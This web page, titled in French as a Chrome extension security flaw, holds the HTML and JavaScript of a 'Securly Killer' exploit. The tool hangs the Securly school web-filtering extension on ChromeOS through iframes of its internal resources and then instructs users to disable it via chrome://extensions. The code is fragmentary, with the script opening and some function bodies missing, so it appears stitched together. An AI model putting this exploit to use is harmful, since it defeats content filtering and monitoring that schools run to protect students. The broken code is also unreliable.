Désactiver Securely : faille de sécurité dans une extension Chrome

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Désactiver Securely : faille de sécurité dans une extension Chrome

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22 April 2025

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HTML

<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>Securly Killer</title>
  <link rel="shortcut icon" type="image/png" href='/favicon.png'>
  <link rel="stylesheet" href="https://fonts.googleapis.com/css2?family=Varela+Round&display=swap">
  <style>
    body {
      font-family: 'Varela Round', sans-serif;
      margin: 0;
      padding: 0;
    }
    header {
      background-color: #333;
      color: #fff;
      padding: 10px;
      text-align: center;
      display: flex;
      align-items: center;
      justify-content: center;
    }
    .logo {
      width: 50px;
      height: 50px;
      margin-right: 10px;
    }
    .container {
      max-width: 800px;
      margin: 130px auto 0 auto;
      padding: 20px;
      text-align: center;
      display: flex;
      flex-direction: column;
      align-items: center;
    }
    select {
      margin-bottom: 10px;
    }
    button {
      font-family: 'Varela Round', sans-serif;
      background-color: #007bff;
      color: #fff;
      border: none;
      padding: 10px 20px;
      font-size: 16px;
      cursor: pointer;
      border-radius: 5px;
      margin-top: 10px;
    }
    button:hover {
      background-color: #0056b3;
    }
    .overlay {
      position: fixed;
      top: 0;
      left: 0;
      width: 100%;
      height: 100%;
      background-color: rgba(0, 0, 0, 0.5);
      display: none;
      justify-content: center;
      align-items: center;
      z-index: 9999;
      color: #fff;
      font-size: 24px;
    }
    footer {
      background-color: #333;
      color: #fff;
      text-align: center;
      padding: 10px;
      position: fixed;
      bottom: 0;
      width: 100%;
    }
    .kill-extension-text {
      display: none;
      margin-top: 20px;
      margin-left: 40px;
      margin-right: 40px;
      text-align: center;
    }
  </style>
</head>
<body>

<header>
  <img src="https://www.pps.net/cms/lib/OR01913224/Centricity/Domain/57/securly-180x180.png" alt="Logo" class="logo">
  <h1>Securly Disable</h1>
</header>

<div class="container">
  <p>This is an exploit that allows you to kill securly. This exploit should work in every new version of ChromeOS.</p>
  <label for="iframeSelect">Select extension:</label>
  <select id="iframeSelect">
    <option value="chrome-extension://iheobagjkfklnlikgihanlhcddjoihkg/fonts/Metropolis.css">Securly</option>
  </select>
  <button onclick="warning();">Hang Extension!</button>
</div>

<div class="overlay" id="overlay">Hanging...</div>

centeredText.textContent = 'Hanging ' + selectedOption + '...';

var popupName = "Open to Restore " + selectedOption;
	popup.document.title = popupName;
	      
	var blankTab = popup.open("about:blank", "_blank");
        var blankTabName = "Hanging " + selectedOption;
	blankTab.document.title = blankTabName;
	var blankTabDocument = blankTab.document;
	var blankTabBody = blankTabDocument.body;
	var centeredText2 = blankTabDocument.createElement('div');
   	centeredText2.textContent = 'Hanging ' + selectedOption + '...';
   	centeredText2.style.position = 'absolute';
   	centeredText2.style.top = '50%';
  	centeredText2.style.left = '50%';
  	centeredText2.style.transform = 'translate(-50%, -50%)';
  	centeredText2.style.color = 'white';
  	blankTabBody.appendChild(centeredText2);
        blankTabDocument.body.style.backgroundColor = 'black';
        blankTabDocument.body.appendChild(centeredText2);

createIframes(iframeContainer, selectedSrc);
        
        setTimeout(function() {
          if (blankTab && !blankTab.closed) {
            blankTab.close();
            alert("securly was hanged successfully! Now that it has been hanged, instructions for how to kill it and restore it are below.");
            window.document.getElementById("overlay").style.display = "none";
            var extensionId = selectedSrc.substring(selectedSrc.indexOf("//") + 2, selectedSrc.indexOf("/", selectedSrc.indexOf("//") + 2));
            window.document.getElementById("killExtensionText").innerHTML = "To kill the extension " + selectedOption + ", open a new tab and go to <strong>chrome://extensions/?id=" + extensionId + "</strong>. Then flip the allow access to file URLs switch. Now you can close that tab as well as this one. If you want to restore (unhang) the extension, open the window called Open to Restore and then that window should close itself restoring the extension in the process.";
            window.document.getElementById("killExtensionText").style.display = "block";
            popupDocument.addEventListener('mouseover', function() {
   		popup.close();
  		});
          }
        }, 5000);

popupDocument.removeEventListener('click', clickHandler);
      }
    };

popupDocument.addEventListener('click', clickHandler);
  }
  
  function warning() {
    var overlay = window.document.getElementById("overlay");
    overlay.style.display = "flex";
    var iframeSelect = window.document.getElementById("iframeSelect");
    var selectedOption = iframeSelect.options[iframeSelect.selectedIndex].text;
    var selectedSrc = iframeSelect.value;
    
    hangerPopup(selectedOption, selectedSrc);
  }
</script>
</body>
</html>

CSS